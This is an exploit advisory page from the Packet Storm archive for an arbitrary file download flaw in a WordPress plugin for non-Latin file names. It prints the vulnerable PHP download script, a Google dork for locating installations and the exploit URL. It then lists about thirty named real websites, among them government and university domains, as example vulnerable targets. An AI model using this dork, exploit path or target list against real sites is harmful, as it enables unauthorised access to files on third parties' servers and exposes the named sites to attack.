what you don't know can hurt you

WordPress uploadingdownloading-non-latin-filename 1.1.5 Arbitrary File Download

WordPress uploadingdownloading-non-latin-filename 1.1.5 Arbitrary File Download
Posted Nov 29, 2018
Authored by KingSkrupellos

WordPress uploadingdownloading-non-latin-filename plugin version 1.1.5 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
MD5 | 4f695ccbfe99f60f3564d648d1aa9840

WordPress uploadingdownloading-non-latin-filename 1.1.5 Arbitrary File Download

Change Mirror Download
#################################################################################################

# Exploit Title : WordPress uploadingdownloading-non-latin-filename Plugins
1.1.5 Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 29/11/2018
# Vendor Homepage :
wordpress.org/plugins/uploadingdownloading-non-latin-filename/
# Software Download Link :
downloads.wordpress.org/plugin/uploadingdownloading-non-latin-filename.1.1.5.zip
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : From 1.02 to 1.1.5 / All Current Versions
# Google Dorks :
inurl:''/wp-content/plugins/uploadingdownloading-non-latin-filename/''
# Exploit Risk : Medium
# Exact Vulnerable Version Information : 1.1.5
# Vulnerability Type :
CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-200 - [ Information Exposure ] - CWE-23 - [ Relative Path Traversal ]
CWE-98 - [ Improper Control of Filename for Include/Require Statement in
PHP Program ('PHP Remote File Inclusion') ]

#################################################################################################

WordPress uploadingdownloading-non-latin-filename Plugins is prone to a
vulnerability that lets attackers to download

arbitrary files because the application fails to sufficiently sanitize
user-supplied input.

An attacker can exploit this issue to download arbitrary files within the
context of the webserver process.

The attacker can download and read all files known by the name via 'id'
parameter.

Information obtained may aid in further attacks.

#################################################################################################

Vulnerability File PHP Code : /download.php

<?php
if( ! isset($_GET['id']) or empty($_GET['id'])){
echo "error! enter attachment ID!";
exit;
}

include '../../../wp-blog-header.php';
include 'Browser/lib/Browser.php';

$filename_for_download = nlf_get_filename_for_download($_GET['id']);

$attachment = get_post($_GET['id']);
$attachment_meta = get_post_meta($_GET['id']);
$upload_dir = wp_upload_dir();

$original_filepath = $upload_dir['basedir'] . '/' .
$attachment_meta['_wp_attached_file'][0];

$browser = new Browser();

if(
$browser->getBrowser() == Browser::BROWSER_IE
){
$filename_encoded = rawurlencode($filename_for_download);
}else{
$filename_encoded = $filename_for_download;
}

status_header(200);
header('cache-control: no-cache');
header('Content-type: ' . $attachment->post_mime_type);
header("Content-Disposition: attachment; filename=" . $filename_encoded);

// orifinal file
readfile($original_filepath);

#################################################################################################

# Admin Panel Login Path :

/wp-login.php

# Vulnerability Error :

error! enter attachment ID!

# Exploit :

/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]

#################################################################################################

# Example Vulnerable Sites =>

[+]
ppf.gov.iq/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://ppf.gov.iq/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
pel.smuc.ac.kr/~cisc2017s/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://pel.smuc.ac.kr/~cisc2017s/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
szupu.szu.edu.cn/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://szupu.szu.edu.cn/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
tdlshop.in/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://tdlshop.in/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
meditationedu.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://meditationedu.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
appbiz.seoul.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://appbiz.seoul.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
technician.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://technician.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
doc.arch.mju.ac.th/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://doc.arch.mju.ac.th/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
dft.cute.edu.tw/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://dft.cute.edu.tw/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
119.gg.go.kr/north/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://119.gg.go.kr/north/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
research.beautifulfund.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://research.beautifulfund.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
svenskjakt.se/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://svenskjakt.se/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
ilmin.org/kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://ilmin.org/kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
architecture.kunsan.ac.kr/mchangho/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://architecture.kunsan.ac.kr/mchangho/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
blog.solarview.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://blog.solarview.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://gwangjufolly.org/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
cisp.or.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://cisp.or.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
risingx.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://risingx.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
tigersw.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://tigersw.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
sehub.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://sehub.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
missionbridge.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://missionbridge.net/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
startup.kaist.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://startup.kaist.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
ericaiie.hanyang.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://ericaiie.hanyang.ac.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
ganaart.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://ganaart.com/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
health.re.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://health.re.kr/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
hosting01.snu.ac.kr/~linguist/cwp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://hosting01.snu.ac.kr/~linguist/cwp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
hukobio.co.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://hukobio.co.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
dasreich.myqnapcloud.com/kfz222wp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://dasreich.myqnapcloud.com/kfz222wp/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://womenfund.or.kr/wordpress/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

[+]
juul-nielsen.dk/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[FAdegLENAMEHERE]
<http://juul-nielsen.dk/wp-content/plugins/uploadingdownloading-non-latin-filename/download.php?id=[F%C4%B0LENAMEHERE]>

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close